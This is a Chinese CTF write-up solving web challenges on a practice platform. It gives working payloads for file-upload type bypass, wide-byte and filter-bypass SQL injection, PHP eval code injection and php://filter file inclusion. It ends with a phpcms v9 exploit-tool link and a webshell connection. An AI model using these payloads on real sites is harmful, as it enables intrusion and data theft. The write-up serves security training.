Writeup - CTF-练习平台（123.206.31.85）

Posted 2020-10-09 virgin-forest

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签到题

这个直接加群就好了

Web2

打开这个页面，面对铺天盖地而来的滑稽，直接F12查看源代码

文件上传测试

虽然知道题目没那么简单，但是先上传一个php文件，看一下反应

点击上传后查看页面的返回情况

页面返回非图片文件，应该是有文件类型判定，尝试用burpsuite绕过

先把test.php的后缀改为图片类型test.png

开启burpsuite 点击发送之后 burpsuite获取到一个HTTP数据包

在burpsuite中把HTTP数据包转为Repeater模式，方便观察页面返回信息

把文件名由png改为php

发送数据包之后页面返回FLAG

计算题

76+41=117 计算很简单但是只能输入一位数上去 F12查看源代码

发现输入框被限制了输入长度修改输入长度就可以了

web基础$_GET

题目已经给出源代码

$what=$_GET[\'what\'];
echo $what;
if($what==\'flag\')
echo \'flag{****}\';

构建payload

http://120.24.86.145:8002/get/?what=flag

获取到flag

flag{bugku_get_su8kej2en}

web基础$_POST

$what=$_POST[\'what\'];
echo $what;
if($what==\'flag\')
echo \'flag{****}\';

这题和上一题差不多，就是提交方式不同

可以写from表单模拟POST提交，也可以使用firefox的hackbug模拟POST提交

这里使用firefox的hackbug模拟POST提交

矛盾

$num=$_GET[\'num\'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo \'flag{**********}\';
}

根据题目意思，获取到flag的条件是num变量不能为数字，但是要等于1

这里是利用PHP的弱类型漏洞

== 在进行比较的时候，会先将字符串类型转化成相同，再比较

=== 在进行比较的时候，会先判断两种字符串的类型是否相等，再比较

构建payload

http://120.24.86.145:8002/get/index1.php?num=1e0.1

获取到flag

flag{bugku-789-ps-ssdf}

Web3

面对弹窗一般都是直接查看源代码

在源代码中找到了一行字符串，这些字符串是 html、XML 等 SGML 类语言的转义序列

将转义序列放在HTML文件里面

打开HTML文件

sql注入

自行添加参数上去

测试出为宽字节的注入

根据提示构建payload

http://103.238.227.13:10083/?id=1%df%27 order by 2%23
测试出字段数为2

http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23
测试能否利用利用字段回显

http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
获取当前使用的数据库 当前使用数据库为 sql5

根据题目提醒 数据表为key 字段为string 且id字段为1 构建获取数据的payload
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id = 1%23

SQL注入1

题目给出了一段自身的代码，发现有SQL注入和XSS注入过滤

SQL注入过滤关键字，XSS使用strip_tags()函数过滤

百度了一下strip_tags()函数的作用

发现该函数可以将HTML注释去掉，尝试利用该函数注入

注入语句被过滤

页面返回正常

先在关键词中加入HTML语句绕过SQL关键字防御

利用strip_tags()函数去掉HTML 实现SQL注入

知道了怎么绕过 构建Payload
http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,database()%23
获取到当前使用的数据库为sql3

http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,hash fr<>om sql3.key where id =1 %23
获取数据

你必须让他停下

这个题用burpsuite抓访问包，放到repeater里面一直发送访问包，耐心点就能获取到flag

本地包含

给出了源代码

<?php 
    include "flag.php"; 
    $a = @$_REQUEST[\'hello\']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

发现eval()，构建payload

http://120.24.86.145:8003/?hello=);print_r(file(%22./flag.php%22));//

获取到flag.php的内容

Array ( [0] => $flag = \'Too Young Too Simple\'; [2] => # echo $flag; [3] => # flag{bug-ctf-gg-99}; [4] => ?> )

变量1

给出代码

<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET[\'args\'])){
    $args = $_GET[\'args\'];
    if(!preg_match("/^\\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

这里是利用超全局变量GLOBALS，构建payload

http://120.24.86.145:8004/index1.php?args=GLOBALS

获取到的超全局变量内容

array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

Web4

根据提示查看源代码，发现脚本

<script>
var p1 = \'%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62\';
var p2 = \'%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b\';
eval(unescape(p1) + unescape(\'%35%34%61%61%32\' + p2));
</script>

将URL编码根据javascript的意思拼接在一起

%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62%35%34%61%61%32%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b

URL解码得到JavaScript脚本

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

根据脚本将“67d709b2b54aa2aa648cf6e87a7114f1”写到输入框，点击按钮获得flag

Web5

打开网页之后，习惯性查看源代码

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View Code

根据提示，JSFUCK解码，获取到flag

flag在index里

进去之后发现URL

http://120.24.86.145:8005/post/index.php?file=show.php

发现file参数，又提示flag在index中，想到文件包含，构建payload

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

获取到base64，解码得到index.php的内容

<html>
    <title>Bugku-ctf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo \'<a href="./index.php?file=show.php">click me? no</a>\';}
    $file=$_GET[\'file\'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

phpcmsV9

phpcmsv9利用工具链接：https://pan.baidu.com/s/1bpEXRLd 密码：nscl

菜刀连接上去，之前的flag被删了，我12/1加上去的

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